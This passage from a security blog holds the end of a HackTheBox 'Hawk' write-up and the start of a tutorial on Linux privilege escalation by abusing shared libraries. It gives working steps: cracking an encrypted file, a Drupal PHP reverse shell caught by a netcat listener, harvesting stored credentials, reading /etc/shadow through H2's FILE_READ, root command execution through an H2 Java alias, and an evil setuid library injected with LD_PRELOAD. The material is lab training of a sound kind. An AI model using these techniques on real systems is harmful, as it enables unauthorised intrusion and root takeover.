class="nb">.</span> 226 Transfer complete. 240 bytes received <span class="k">in </span>0.00 secs <span class="o">(</span>2.3842 MB/s<span class="o">)</span> </code></pre></div></div> <h3 id="salted-openssl-decryption">Salted OpenSSL Decryption</h3> <p>As its suffix suggests it, this file is <strong>encrypted</strong>. We can verify that using the <code class="language-plaintext highlighter-rouge">file</code> program.</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>file .drupal.txt.enc .drupal.txt.enc: openssl enc<span class="s1">'d data with salted password, base64 encoded </span></code></pre></div></div> <p>It is also <strong>base64 encoded</strong> so we decode it using the following command:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">cat</span> .drupal.txt.enc | <span class="nb">base64</span> <span class="nt">-d</span> <span class="o">&gt;</span> drupal.txt.enc </code></pre></div></div> <p>After a bit of research, I found a tool on <a href="https://github.com/glv2/bruteforce-salted-openssl">github</a> called <em>bruteforce-salted-openssl</em> which revealed itself very effective. I used it with the classical <em>rockyou.txt</em> wordlist:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>bruteforce-salted-openssl <span class="nt">-t</span> 8 <span class="nt">-f</span> rockyou.txt <span class="nt">-v</span> 30 <span class="nt">-d</span> SHA256 drupal.txt.enc Warning: using dictionary mode, ignoring options <span class="nt">-b</span>, <span class="nt">-e</span>, <span class="nt">-l</span>, <span class="nt">-m</span> and <span class="nt">-s</span><span class="nb">.</span> Tried passwords: 29 Tried passwords per second: inf Last tried password: 1234567890 Password candidate: friends </code></pre></div></div> <p><span style="color:Green">Perfect! We have the password.</span> We can now use <strong>OpenSSL</strong> to decipher the file:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>openssl enc <span class="nt">-d</span> <span class="nt">-aes-256-cbc</span> <span class="nt">-pass</span> pass:friends <span class="nt">-in</span> drupal.txt.enc Daniel, Following the password <span class="k">for </span>the portal: PencilKeyboardScanner123 Please <span class="nb">let </span>us know when the portal is ready. Kind Regards, IT department </code></pre></div></div> <p>It looks like we’ve found credentials for a certain portal.</p> <h3 id="drupal-reverse-shell-upload">Drupal Reverse Shell Upload</h3> <p>Drupal is an Open-Source Content Management System.</p> <p>Browsing to <a href="http://10.10.10.102:80">http://10.10.10.102:80</a>, we are facing a login page.</p> <p><img src="/assets/2018-12-01/drupal-login.png" alt="Drupal login" title="Drupal login" /></p> <p>Trying a couple common usernames, we quickly found out that <strong>“admin”</strong> was the right one to combine with the password we just deciphered.</p> <p>Once logged in, all we have to do is to <span style="color:Red">enable phpfilters</span> and to <span style="color:Red">create a new article with our php reverse shell payload inside.</span> I’ll detail all these steps right below.</p> <p>First of all, we have to <span style="color:DarkOrchid">setup a local listener</span> for our reverse shell:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>nc <span class="nt">-lvnp</span> 9999 listening on <span class="o">[</span>any] 9999 ... </code></pre></div></div> <p>Now, we have to <span style="color:Red">enable phpfilters in order to be able to execute PHP code inside articles.</span> Once logged in as admin, go to <strong>Configuration &gt; Content Authoring &gt; Text formats</strong> and tick <strong>“PHP Evaluator”</strong>.</p> <p><img src="/assets/2018-12-01/drupal-phpfilter.png" alt="Drupal phpfilter" title="Drupal phpfilter" /></p> <p>Then, we can add a new article and place our <strong>PHP reverse shell payload</strong> inside.</p> <p><img src="/assets/2018-12-01/drupal-add-article.png" alt="Drupal add article" title="Drupal add article" /></p> <p>Also, don’t forget to <span style="color:Red">set the text format of the article to “PHP Code”</span> at the bottom the page:</p> <p><img src="/assets/2018-12-01/drupal-textformat.png" alt="Drupal textformat" title="Drupal text-format" /></p> <p>The reverse shell should be coming back to our machine now:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>nc <span class="nt">-lvnp</span> 9999 listening on <span class="o">[</span>any] 9999 ... connect to <span class="o">[</span>10.10.14.20] from <span class="o">(</span>UNKNOWN<span class="o">)</span> <span class="o">[</span>10.10.10.102] 38992 /bin/sh: 0: can t access <span class="nb">tty</span><span class="p">;</span> job control turned off <span class="nv">$ </span><span class="nb">id </span><span class="nv">uid</span><span class="o">=</span>33<span class="o">(</span>www-data<span class="o">)</span> <span class="nv">gid</span><span class="o">=</span>33<span class="o">(</span>www-data<span class="o">)</span> <span class="nb">groups</span><span class="o">=</span>33<span class="o">(</span>www-data<span class="o">)</span> </code></pre></div></div> <p>Very nice! Being connected as <strong>www-data</strong> is not enough for the user flag unfortunately. <span style="color:MediumSlateBlue">We must find a way to connect as a real user!</span></p> <h3 id="stored-credentials-retrieval">Stored credentials retrieval</h3> <p>First, let’s <span style="color:Green">upgrade this horrible shell to a bash</span>:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>python3 <span class="nt">-c</span> <span class="s1">'import pty;pty.spawn("/bin/bash")'</span> www-data@hawk:/var/www/html<span class="err">$</span> </code></pre></div></div> <p>After a bit of digging, I found what seems to be <strong>a plaintext password</strong>:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>www-data@hawk:/var/www/html<span class="nv">$ </span><span class="nb">grep</span> <span class="nt">-Ri</span> password <span class="o">[</span>...] sites/default/settings.php: <span class="s1">'password'</span> <span class="o">=&gt;</span> <span class="s1">'drupal4hawk'</span>, <span class="o">[</span>...] </code></pre></div></div> <p>Having a look at <em>/home/</em>, we can see that <em>daniel</em> is our potential target. Let’s see if we can <code class="language-plaintext highlighter-rouge">su</code> as <em>daniel</em> with this password:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>www-data@hawk:/var/www/html<span class="nv">$ </span>su daniel su daniel Password: drupal4hawk Python 3.6.5 <span class="o">(</span>default, Apr 1 2018, 05:46:30<span class="o">)</span> <span class="o">[</span>GCC 7.3.0] on linux Type <span class="s2">"help"</span>, <span class="s2">"copyright"</span>, <span class="s2">"credits"</span> or <span class="s2">"license"</span> <span class="k">for </span>more information. <span class="o">&gt;&gt;&gt;</span> </code></pre></div></div> <p>It’s working but <span style="color:Red">we’re popping inside a python shell!</span> Surprising, even though it shouldn’t be too difficult to escape.</p> <h3 id="python-shell-escape">Python Shell Escape</h3> <p>Actually, we can use the same technique we used to upgrade from <strong>/bin/sh</strong> to <strong>/bin/bash</strong>:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Python 3.6.5 <span class="o">(</span>default, Apr 1 2018, 05:46:30<span class="o">)</span> <span class="o">[</span>GCC 7.3.0] on linux Type <span class="s2">"help"</span>, <span class="s2">"copyright"</span>, <span class="s2">"credits"</span> or <span class="s2">"license"</span> <span class="k">for </span>more information. <span class="o">&gt;&gt;&gt;</span> import pty import pty <span class="o">&gt;&gt;&gt;</span> pty.spawn<span class="o">(</span><span class="s1">'/bin/bash'</span><span class="o">)</span> pty.spawn<span class="o">(</span><span class="s1">'/bin/bash'</span><span class="o">)</span> daniel@hawk:/var/www/html<span class="err">$</span> </code></pre></div></div> <p>Nothing prevents us to get the user flag anymore!</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>daniel@hawk:/var/www/html<span class="nv">$ </span><span class="nb">cat</span> /home/daniel/user.txt <span class="nb">cat</span> /home/daniel/user.txt <span class="o">[</span>REDACTED] </code></pre></div></div> <blockquote> <p>As we’ve seen during our recon, an SSH server is running and we can use to directly login as daniel. A nice checkpoint allowed by the author of the box :wink:.</p> </blockquote> <h2 id="elevating-privileges">Elevating privileges</h2> <p>We are now connected as <em>daniel</em> via <strong>SSH</strong>. We can start the <strong>enumeration process</strong>.</p> <h3 id="enumeration">Enumeration</h3> <p>When looking for a way to escalate privileges on machine, I like to run a tool like <a href="https://github.com/rebootuser/LinEnum">LinEnum.sh</a> in the background while I fuzz the machine manually.</p> <p>Do you remember the <strong>H2 Database console</strong> we saw with the <code class="language-plaintext highlighter-rouge">nmap</code> scan? <span style="color:Red">It is running as root on Hawk…</span></p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>daniel@hawk:~<span class="nv">$ </span>ps <span class="nt">-aux</span> |grep h2 root 801 0.0 0.0 4628 808 ? Ss Nov30 0:00 /bin/sh <span class="nt">-c</span> /usr/bin/java <span class="nt">-jar</span> /opt/h2/bin/h2-1.4.196.jar root 802 0.0 5.7 2345696 56448 ? Sl Nov30 1:28 /usr/bin/java <span class="nt">-jar</span> /opt/h2/bin/h2-1.4.196.jar daniel 21347 0.0 0.1 13136 1012 pts/2 S+ 18:57 0:00 <span class="nb">grep </span>h2 </code></pre></div></div> <p>Are you thinking what I am thinking?</p> <p>When trying to access it in a web browser, it says: <span style="color:Maroon"><em>“Sorry, remote connections (‘webAllowOthers’) are disabled on this server.”</em></span> :cry:</p> <h3 id="ssh-port-forwarding">SSH Port Forwarding</h3> <p>Now that we have a foot in the system, we can <span style="color:Green">initiate connections from the machine itself</span>. Let’s verify this:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>daniel@hawk:~<span class="nv">$ </span>curl http://127.0.0.1:8082 &lt;<span class="o">!</span>DOCTYPE HTML PUBLIC <span class="s2">"-//W3C//DTD HTML 4.01 Transitional//EN"</span> <span class="s2">"http://www.w3.org/TR/html4/loose.dtd"</span><span class="o">&gt;</span> &lt;<span class="o">!</span><span class="nt">--</span> Copyright 2004-2014 H2 Group. Multiple-Licensed under the MPL 2.0, and the EPL 1.0 <span class="o">(</span>http://h2database.com/html/license.html<span class="o">)</span><span class="nb">.</span> Initial Developer: H2 Group <span class="nt">--</span><span class="o">&gt;</span> &lt;html&gt;&lt;<span class="nb">head</span><span class="o">&gt;</span> &lt;meta http-equiv<span class="o">=</span><span class="s2">"Content-Type"</span> <span class="nv">content</span><span class="o">=</span><span class="s2">"text/html;charset=utf-8"</span> /&gt; &lt;title&gt;H2 Console&lt;/title&gt; &lt;<span class="nb">link </span><span class="nv">rel</span><span class="o">=</span><span class="s2">"stylesheet"</span> <span class="nb">type</span><span class="o">=</span><span class="s2">"text/css"</span> <span class="nv">href</span><span class="o">=</span><span class="s2">"stylesheet.css"</span> /&gt; &lt;script <span class="nb">type</span><span class="o">=</span><span class="s2">"text/javascript"</span><span class="o">&gt;</span> location.href <span class="o">=</span> <span class="s1">'login.jsp?jsessionid=c48d2804eb930787aff2325b9aba37dd'</span><span class="p">;</span> &lt;/script&gt; &lt;/head&gt; &lt;body <span class="nv">style</span><span class="o">=</span><span class="s2">"margin: 20px;"</span><span class="o">&gt;</span> &lt;h1&gt;Welcome to H2&lt;/h1&gt; &lt;h2&gt;No Javascript&lt;/h2&gt; If you are not automatically redirected to the login page, <span class="k">then </span>Javascript is currently disabled or your browser does not support Javascript. For this application to work, Javascript is essential. Please <span class="nb">enable </span>Javascript now, or use another web browser that supports it. &lt;/body&gt;&lt;/html&gt; </code></pre></div></div> <p><span style="color:Green">Seems allowed when executed from the localhost!</span> However, we don’t have access to a web browser on Hawk. This is why we need to use SSH port forwarding as follows: <code class="language-plaintext highlighter-rouge">ssh -L 9000:localhost:8082 [email protected]</code></p> <p>The english version is: “<strong>Forward</strong> everything I send to port <strong>127.0.0.1:9000</strong> to <strong>10.10.102:8082</strong>”.</p> <p><span style="color:Red">Now, we should be able to access the H2 database console from our own web browser.</span></p> <h3 id="h2-database-console">H2 Database Console</h3> <p><img src="/assets/2018-12-01/h2-db.png" alt="H2 Database" title="H2 database" /></p> <p>When trying to connect to the <strong>default database</strong> with <strong>default credentials</strong>, it returns an error. <span style="color:Green">But what if we try to connect to a new database?</span></p> <p><img src="/assets/2018-12-01/h2-boiteaklou.png" alt="H2 New db" title="H2 New db" /></p> <p>I changed the <strong>database URL</strong> to a non-existing database and the connection test returns <span style="color:Red">“Success”</span>. Now, <span style="color:Green">I can connect to this new database</span>. From there, I can <strong>execute H2 functions</strong> like <code class="language-plaintext highlighter-rouge">FILE_READ('/etc/shadow',NULL)</code> for instance.</p> <p><img src="/assets/2018-12-01/h2-fileread.png" alt="H2 File read" title="H2 File read" /></p> <p>Replace <strong>/etc/shadow</strong> by <strong>/root/root.txt</strong> and you’ll <span style="color:Green">get the root flag!</span> :checkered_flag:</p> <p>Ok we can read protected files, but <span style="color:Red">can we get a root shell?</span></p> <h3 id="getting-a-root-shell">Getting a Root Shell</h3> <p>Still connected to our <em>boiteaklou database</em>, we can <strong>create an alias</strong> with the following command:</p> <div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">CREATE</span> <span class="k">ALIAS</span> <span class="n">SHELLEXEC</span> <span class="k">AS</span> <span class="err">$$</span> <span class="n">String</span> <span class="n">shellexec</span><span class="p">(</span><span class="n">String</span> <span class="n">cmd</span><span class="p">)</span> <span class="n">throws</span> <span class="n">java</span><span class="p">.</span><span class="n">io</span><span class="p">.</span><span class="n">IOException</span> <span class="err">{</span> <span class="n">java</span><span class="p">.</span><span class="n">util</span><span class="p">.</span><span class="n">Scanner</span> <span class="n">s</span> <span class="o">=</span> <span class="k">new</span> <span class="n">java</span><span class="p">.</span><span class="n">util</span><span class="p">.</span><span class="n">Scanner</span><span class="p">(</span><span class="n">Runtime</span><span class="p">.</span><span class="n">getRuntime</span><span class="p">().</span><span class="k">exec</span><span class="p">(</span><span class="n">cmd</span><span class="p">).</span><span class="n">getInputStream</span><span class="p">()).</span><span class="n">useDelimiter</span><span class="p">(</span><span class="nv">"</span><span class="se">\\</span><span class="nv">A"</span><span class="p">);</span> <span class="k">return</span> <span class="n">s</span><span class="p">.</span><span class="n">hasNext</span><span class="p">()</span> <span class="o">?</span> <span class="n">s</span><span class="p">.</span><span class="k">next</span><span class="p">()</span> <span class="p">:</span> <span class="nv">""</span><span class="p">;</span> <span class="err">}$$</span><span class="p">;</span> </code></pre></div></div> <p>Then, <span style="color:Green">we can trigger the code execution</span> by <strong>calling this alias</strong> and specifying our command as an argument:</p> <p><img src="/assets/2018-12-01/h2-rce.png" alt="H2 RCE" title="H2 RCE" /></p> <p><span style="color:Green">It’s kind of a root shell!</span> If you want something more interactive, it can be done easily from what we have and I’m sure you will find a way :wink:</p> <p>I hope you enjoyed this writeup and see you next time guys!</p> <p id="signature">BoiteAKlou :hammer:</p>BoiteAKlouHawk has been retired from HackTheBox active machines so here is my writeup explaining how I rooted this machine. In this article, we will crack a salted OpenSSL encrypted file, upload a reverse shell to an instance of Drupal 7 CMS. Then, we will use a SSH port-forwarding trick to access a H2 database console disallowing remote connections and exploit this app to get root on the machine. Enjoy your reading!Linux Privilege Escalation: Abusing shared libraries2018-11-21T12:00:00+00:002018-11-21T12:00:00+00:00/Abusing-Shared-Libraries<p>Linux applications often use dynamically linked shared object libraries. These libraries allow code flexibility but they have their drawbacks… <span style="color:Maroon">In this article, we will study the weaknesses of shared libraries and how to exploit them in many different ways.</span> Each exploit will be illustrated by a concrete example, which should make you understand how to reproduce it. I’ll give recommendations on how to protect your system against it in the final part of the article. <!--excerpt--></p> <h1 class="no_toc" id="table-of-contents">Table of Contents</h1> <ul id="markdown-toc"> <li><a href="#shared-libraries-in-short" id="markdown-toc-shared-libraries-in-short">Shared Libraries in short</a></li> <li><a href="#dynamic-linking-in-linux" id="markdown-toc-dynamic-linking-in-linux">Dynamic Linking in Linux</a></li> <li><a href="#find-a-vulnerable-application" id="markdown-toc-find-a-vulnerable-application">Find a vulnerable application</a></li> <li><a href="#but-can-we-exploit-it" id="markdown-toc-but-can-we-exploit-it">But can we exploit it?</a> <ul> <li><a href="#1-write-permissions-on-lib-or-usrlib" id="markdown-toc-1-write-permissions-on-lib-or-usrlib">1. Write permissions on /lib or /usr/lib</a></li> <li><a href="#2-ld_preload-and-ld_library_path" id="markdown-toc-2-ld_preload-and-ld_library_path">2. LD_PRELOAD and LD_LIBRARY_PATH</a> <ul> <li><a href="#ld_preload" id="markdown-toc-ld_preload">LD_PRELOAD</a></li> <li><a href="#ld_library_path" id="markdown-toc-ld_library_path">LD_LIBRARY_PATH</a></li> </ul> </li> <li><a href="#3-setuid-bit-on-ldconfig" id="markdown-toc-3-setuid-bit-on-ldconfig">3. Setuid bit on ldconfig</a> <ul> <li><a href="#alternative-to-etcldsoconf" id="markdown-toc-alternative-to-etcldsoconf">Alternative to /etc/ld.so.conf</a></li> </ul> </li> </ul> </li> <li><a href="#how-can-we-defend-against-this" id="markdown-toc-how-can-we-defend-against-this">How can we defend against this?</a></li> </ul> <h2 class="no_toc" id="disclaimer">Disclaimer</h2> <p>I won’t describe here the full details of how libraries work in Linux, my goal is to give you the necessary amount of information so you can understand the exploit and be able to reproduce it.</p> <h2 id="shared-libraries-in-short">Shared Libraries in short</h2> <p>A library is <strong>a file containing data or compiled code</strong> that is used by developers to avoid re-writing the same pieces of code you use in multiple programs (modular programming). It can contain classes, methods or data structures and will be linked to the program that will use it at the compilation time.</p> <p>There are different types of libraries in Linux:</p> <ul> <li>Static libraries (<strong>.a</strong> extension)</li> <li>Dynamically linked shared object libraries (<strong>.so</strong> extension)</li> </ul> <p>Static libraries will become part of the application so they will be <strong>unalterable</strong> once the compilation done. Every running program has its own copy of the library, which won’t be interesting for us.</p> <p>Dynamic libraries can be used in two ways:</p> <ul> <li>Dynamic linking (dynamically linked at run time).</li> <li>Dynamic loading (dynamiclly loaded and user under program control).</li> </ul> <p>They seem much more attractive because of their dynamic nature. If we manage to <strong>alter the content of a dynamic library</strong>, we should be able to control the execution of the calling program and that’s what we want!</p> <p>For that reason, we will focus on <strong>dynamic linking</strong> in this article.</p> <h2 id="dynamic-linking-in-linux">Dynamic Linking in Linux</h2> <p>Since these libraries are dynamically linked to the program, we have to specify their location so the Operating System will know where to look for when the program is executed.</p> <p><code class="language-plaintext highlighter-rouge">ld</code> is the GNU linker. Its man page gives us the following methods for specifying the location of dynamic libraries:</p> <ol> <li>Using <strong>-rpath</strong> or <strong>-rpath-link</strong> options when compiling the application.</li> <li>Using the environment variable <strong>LD_RUN_PATH</strong>.</li> <li>Using the environment variable <strong>LD_LIBRARY_PATH</strong>.</li> <li>Using the value of <strong>DT_RUNPATH</strong> or <strong>DT_PATH</strong>, set with <strong>-rpath</strong> option.</li> <li>Putting libraries in default <strong>/lib</strong> and <strong>/usr/lib</strong> directories.</li> <li>Specifying a directory containing our libraries in <strong>/etc/ld.so.conf</strong>.</li> </ol> <p><span style="color:red">As an attacker, our objective is to control one of these methods in order to replace an existing dynamic library by a malicious one.</span> By default, security measures have been put in place in Linux. However, we will see that there are so many ways to make this exploit possible…</p> <h2 id="find-a-vulnerable-application">Find a vulnerable application</h2> <p>Since we want to escalate privileges, it is mandatory to find an executable file with <strong>setuid bit</strong> enable. This bit allows anyone to execute the program with the same permissions as the file’s owner.</p> <p>We can find those files using the following command:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>find / <span class="nt">-type</span> f <span class="nt">-perm</span> <span class="nt">-u</span><span class="o">=</span>s 2&gt;/dev/null | xargs <span class="nb">ls</span> <span class="nt">-l</span> </code></pre></div></div> <p>We combine it to <code class="language-plaintext highlighter-rouge">ls -l</code> so we can check that the file’s owner is root.</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>LAB-Blog:~/Abusing-Shared-Libraries<span class="nv">$ </span>find / <span class="nt">-type</span> f <span class="nt">-perm</span> <span class="nt">-u</span><span class="o">=</span>s 2&gt;/dev/null | xargs <span class="nb">ls</span> <span class="nt">-l</span> <span class="nt">-rwsr-xr-x</span> 1 root root 30112 Jul 12 2016 /bin/fusermount <span class="nt">-rwsr-xr-x</span> 1 root root 34812 May 16 2018 /bin/mount <span class="nt">-rwsr-xr-x</span> 1 root root 157424 Jan 28 2017 /bin/ntfs-3g <span class="nt">-rwsr-xr-x</span> 1 root root 38932 May 7 2014 /bin/ping <span class="nt">-rwsr-xr-x</span> 1 root root 43316 May 7 2014 /bin/ping6 <span class="nt">-rwsr-xr-x</span> 1 root root 38900 May 17 2017 /bin/su <span class="nt">-rwsr-xr-x</span> 1 root root 26492 May 16 2018 /bin/umount <span class="nt">-rwsr-sr-x</span> 1 root root 387 Jan 15 2018 /sbin/ldconfig <span class="nt">-rwsr-sr-x</span> 1 root root 831936 Jan 15 2018 /sbin/ldconfig.real <span class="nt">-rwsr-sr-x</span> 1 daemon daemon 50748 Jan 14 2016 /usr/bin/at <span class="nt">-rwsr-xr-x</span> 1 root root 48264 May 17 2017 /usr/bin/chfn <span class="nt">-rwsr-xr-x</span> 1 root root 39560 May 17 2017 /usr/bin/chsh <span class="nt">-rwsr-xr-x</span> 1 root root 78012 May 17 2017 /usr/bin/gpasswd <span class="nt">-rwsr-sr-x</span> 1 root root 7376 Nov 18 22:03 /usr/bin/myexec <span class="c"># Hmm... suspicious</span> <span class="nt">-rwsr-xr-x</span> 1 root root 36288 May 17 2017 /usr/bin/newgidmap <span class="nt">-rwsr-xr-x</span> 1 root root 34680 May 17 2017 /usr/bin/newgrp <span class="nt">-rwsr-xr-x</span> 1 root root 36288 May 17 2017 /usr/bin/newuidmap <span class="nt">-rwsr-xr-x</span> 1 root root 53128 May 17 2017 /usr/bin/passwd <span class="nt">-rwsr-xr-x</span> 1 root root 18216 Jul 13 15:47 /usr/bin/pkexec <span class="nt">-rwsr-xr-x</span> 1 root root 159852 Jul 4 2017 /usr/bin/sudo <span class="nt">-rwsr-xr--</span> 1 root messagebus 46436 Jan 12 2017 /usr/lib/dbus-1.0/dbus-daemon-launch-helper <span class="nt">-rwsr-xr-x</span> 1 root root 5480 Mar 27 2017 /usr/lib/eject/dmcrypt-get-device <span class="nt">-rwsr-xr-x</span> 1 root root 42396 Jun 14 2017 /usr/lib/i386-linux-gnu/lxc/lxc-user-nic <span class="nt">-rwsr-xr-x</span> 1 root root 513528 Jan 18 2018 /usr/lib/openssh/ssh-keysign <span class="nt">-rwsr-xr-x</span> 1 root root 13960 Jul 13 15:47 /usr/lib/policykit-1/polkit-agent-helper-1 <span class="nt">-rwsr-sr-x</span> 1 root root 105004 Jul 19 13:22 /usr/lib/snapd/snap-confine </code></pre></div></div> <p>The file <code class="language-plaintext highlighter-rouge">/usr/bin/myexec</code> has the setuid bit enabled and is owned by root. <em>(By the way, this specific program caught our attention because it’s the only unknown program of the list. If you have any doubt on an application, google should help you find out if it’s a regular linux application or not.)</em></p> <p>Is there any chance that <code class="language-plaintext highlighter-rouge">/usr/bin/myexec</code> uses <strong>shared objects</strong>? Let’s check this with <code class="language-plaintext highlighter-rouge">ldd</code>:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>LAB-Blog:~/Abusing-Shared-Libraries<span class="nv">$ </span>ldd /usr/bin/myexec linux-gate.so.1 <span class="o">=&gt;</span> <span class="o">(</span>0xb779b000<span class="o">)</span> libcustom.so <span class="o">=&gt;</span> /usr/lib/libcustom.so <span class="o">(</span>0xb778e000<span class="o">)</span> <span class="c"># Looks like a custom library</span> libc.so.6 <span class="o">=&gt;</span> /lib/i386-linux-gnu/libc.so.6 <span class="o">(</span>0xb75d8000<span class="o">)</span> /lib/ld-linux.so.2 <span class="o">(</span>0xb779c000<span class="o">)</span> </code></pre></div></div> <p>We can see <strong>libcustom.so</strong>, which looks pretty custom (Oh really?). This executable file gathers all the pre-requisites. <span style="color:red">However, we still need to find a way to inject our malicious dynamic library.</span></p> <h2 id="but-can-we-exploit-it">But can we exploit it?</h2> <p>As always when it comes to privilege escalation, <strong>everything starts from a misconfiguration</strong>. From the moment we find a setuid file using shared objects, there are at least 4 possible misconfigurations that could lead to privilege escalation. I’ll detail here the three working exploits that I’ve already seen on a machine. To those detailed below, you can add the <strong>RPATH</strong> technique, which is very similar to the second method I present: LD_PRELOAD and LD_LIBRARY_PATH.</p> <p>For the need of the examples you’ll find below, I’ve created the setuid ELF executable <strong>myexec</strong> linked with the dynamic library <strong>libcustom.so</strong>.</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"># myexec.c </span> <span class="cp">#include &lt;stdio.h&gt; #include "libcustom.h" </span> <span class="kt">int</span> <span class="nf">main</span><span class="p">(){</span> <span class="n">printf</span><span class="p">(</span><span class="s">"Welcome to my amazing application!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> <span class="n">say_hi</span><span class="p">();</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> <span class="p">}</span> </code></pre></div></div> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"># libcustom.c </span> <span class="cp">#include &lt;stdio.h&gt; #include &lt;unistd.h&gt; #include &lt;sys/types.h&gt; </span> <span class="kt">void</span> <span class="nf">say_hi</span><span class="p">(){</span> <span class="n">printf</span><span class="p">(</span><span class="s">"Hello buddy!</span><span class="se">\n\n</span><span class="s">"</span><span class="p">);</span> <span class="p">}</span> </code></pre></div></div> <p>But also an evil library that we will try to inject in place of the real libcustom.so:</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"># evil libcustom.c </span> <span class="cp">#include &lt;stdio.h&gt; #include &lt;unistd.h&gt; #include &lt;sys/types.h&gt; </span> <span class="kt">void</span> <span class="nf">say_hi</span><span class="p">(){</span> <span class="n">setuid</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span> <span class="n">setgid</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span> <span class="n">printf</span><span class="p">(</span><span class="s">"I'm the bad library</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> <span class="p">}</span> </code></pre></div></div> <p>This one is only printing a different output but be sure that if we manage to execute this code, we could obviously pop a shell with <code class="language-plaintext highlighter-rouge">system("/bin/sh",NULL,NULL);</code>.</p> <p>Now let’s see which configuration mistakes we could exploit…</p> <h3 id="1-write-permissions-on-lib-or-usrlib">1. Write permissions on /lib or /usr/lib</h3> <p>Even though this one seems pretty unlikely, it could happen that a user has <strong>write permissions</strong> on one these folders. In that case, the attacker could easily <strong>craft a malicious libcustom library</strong> and place it into <strong>/lib</strong> or <strong>/usr/lib</strong>. Of course, he would have deleted the original library first.</p> <p>When executing <code class="language-plaintext highlighter-rouge">/usr/bin/myexec</code>, <span style="color:red">the malicious library will be called instead.</span></p> <h3 id="2-ld_preload-and-ld_library_path">2. LD_PRELOAD and LD_LIBRARY_PATH</h3> <p>I decided to present this technique as it’s a must-known, even though it won’t work in our case :laughing:. Let me explain why.</p> <p><strong>LD_LIBRARY_PATH</strong> and <strong>LD_PRELOAD</strong> are environment variables. The first one allows you to indicate an <strong>additionnal directory to search for libraries</strong> and the second specifies a library <span style="color:red">which will be loaded prior to any other library when the program gets executed.</span></p> <p>These variables modify the environment of the current user, but when you execute a setuid program, it is done in the context of the owner, which hasn’t necessarily set LD_LIBRARY_PATH or LD_PRELOAD. Let me show you an example.</p> <p>I’ve created 2 executables: 1 with setuid bit enabled and 1 without.</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>LAB-Blog:~/Abusing-Shared-Libraries<span class="nv">$ </span><span class="nb">ls</span> <span class="nt">-l</span> /usr/bin/myexec<span class="k">*</span> <span class="nt">-rwsr-sr-x</span> 1 root root 7376 Nov 18 22:03 /usr/bin/myexec <span class="c"># Setuid</span> <span class="nt">-rwxr-xr-x</span> 1 root root 7376 Nov 19 20:18 /usr/bin/myexec2 </code></pre></div></div> <h4 id="ld_preload">LD_PRELOAD</h4> <p>Using the <strong>LD_PRELOAD</strong> technique with the evil library on <strong>myexec2</strong> (without setuid bit), we have the following output:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>LAB-Blog:~/Abusing-Shared-Libraries<span class="nv">$ LD_PRELOAD</span><span class="o">=</span>/tmp/evil/libcustom.so /usr/bin/myexec2 Welcome to my amazing application! I<span class="s1">'m the bad library </span></code></pre></div></div> <p>With the same technique on <strong>myexec</strong>:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>LAB-Blog:~/Abusing-Shared-Libraries<span class="nv">$ LD_PRELOAD</span><span class="o">=</span>/tmp/evil/libcustom.so /usr/bin/myexec Welcome to my amazing application! Hello buddy! </code></pre></div></div> <p>We can see that <span style="color:ForestGreen">it’s working when the setuid bit isn’t enabled</span> for the reasons explained above.</p> <h4 id="ld_library_path">LD_LIBRARY_PATH</h4> <p>Let’s check the behavior of <strong>myexec</strong> and <strong>myexec2</strong> when using LD_LIBRARY_PATH:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>LAB-Blog:/tmp<span class="nv">$ </span><span class="nb">export </span><span class="nv">LD_LIBRARY_PATH</span><span class="o">=</span>/tmp/evil/ LAB-Blog:/tmp<span class="nv">$ </span>ldd /usr/bin/myexec linux-gate.so.1 <span class="o">=&gt;</span> <span class="o">(</span>0xb770f000<span class="o">)</span> libcustom.so <span class="o">=&gt;</span> /tmp/evil/libcustom.so <span class="o">(</span>0xb7708000<span class="o">)</span> <span class="c"># !!!</span> libc.so.6 <span class="o">=&gt;</span> /lib/i386-linux-gnu/libc.so.6 <span class="o">(</span>0xb754c000<span class="o">)</span> /lib/ld-linux.so.2 <span class="o">(</span>0xb7710000<span class="o">)</span> LAB-Blog:/tmp<span class="nv">$ </span>ldd /usr/bin/myexec2 linux-gate.so.1 <span class="o">=&gt;</span> <span class="o">(</span>0xb77a1000<span class="o">)</span> libcustom.so <span class="o">=&gt;</span> /tmp/evil/libcustom.so <span class="o">(</span>0xb779a000<span class="o">)</span> <span class="c"># !!!</span> libc.so.6 <span class="o">=&gt;</span> /lib/i386-linux-gnu/libc.so.6 <span class="o">(</span>0xb75de000<span class="o">)</span> 